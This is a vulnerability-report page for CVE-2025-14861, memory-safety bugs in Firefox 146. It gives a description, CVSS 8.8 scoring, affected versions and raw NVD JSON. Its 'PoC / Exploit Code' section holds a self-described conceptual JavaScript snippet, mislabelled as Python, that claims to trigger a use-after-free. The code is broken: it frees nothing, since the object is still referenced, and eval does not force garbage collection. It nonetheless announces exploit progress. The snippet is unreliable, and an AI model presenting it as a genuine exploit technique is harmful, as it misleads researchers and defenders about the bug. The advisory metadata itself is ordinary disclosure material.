Security Vulnerability Report
中文
CVE-2025-14861 CVSS 8.8 HIGH

CVE-2025-14861

Published: 2025-12-18 15:15:53
Last Modified: 2026-04-13 15:16:48

Description

Memory safety bugs present in Firefox 146. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 146.0.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox < 146.0.1
Firefox 146.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-14861 PoC - Firefox Memory Corruption (Conceptual) // This is a conceptual PoC demonstrating the attack vector // Note: Actual exploit requires specific memory corruption technique const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms)); async function triggerVulnerability() { console.log('[+] Initiating CVE-2025-14861 exploit attempt'); // Step 1: Create objects that may trigger memory corruption const maliciousObjects = []; for (let i = 0; i < 10000; i++) { // Trigger Firefox JavaScript engine processing const obj = { value: new ArrayBuffer(1024 * 1024), callback: function() {} }; maliciousObjects.push(obj); // Attempt to trigger garbage collection race condition if (i % 100 === 0) { await sleep(10); eval('null'); // Force GC opportunity } } // Step 2: Manipulate object lifecycle to trigger use-after-free console.log('[+] Attempting to trigger memory corruption...'); const target = maliciousObjects[5000]; delete maliciousObjects[5000]; // Remove reference // Step 3: Force garbage collection for (let j = 0; j < 10; j++) { eval('null'); await sleep(50); } // Step 4: Access freed memory try { // This may trigger use-after-free if vulnerability exists console.log('[+] Target object: ' + JSON.stringify(target)); } catch (e) { console.log('[!] Error: ' + e.message); } console.log('[+] Exploit sequence completed'); } // Execute triggerVulnerability(); // Disclaimer: This PoC is for educational purposes only // Actual exploitation requires specific browser version and memory layout knowledge

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14861", "sourceIdentifier": "[email protected]", "published": "2025-12-18T15:15:53.157", "lastModified": "2026-04-13T15:16:47.820", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Memory safety bugs present in Firefox 146. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 146.0.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "146.0.1", "matchCriteriaId": "A4308430-B3C6-4451-8A1B-BDD115E81819"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/buglist.cgi?bug_id=1996570%2C1999700", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-98/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}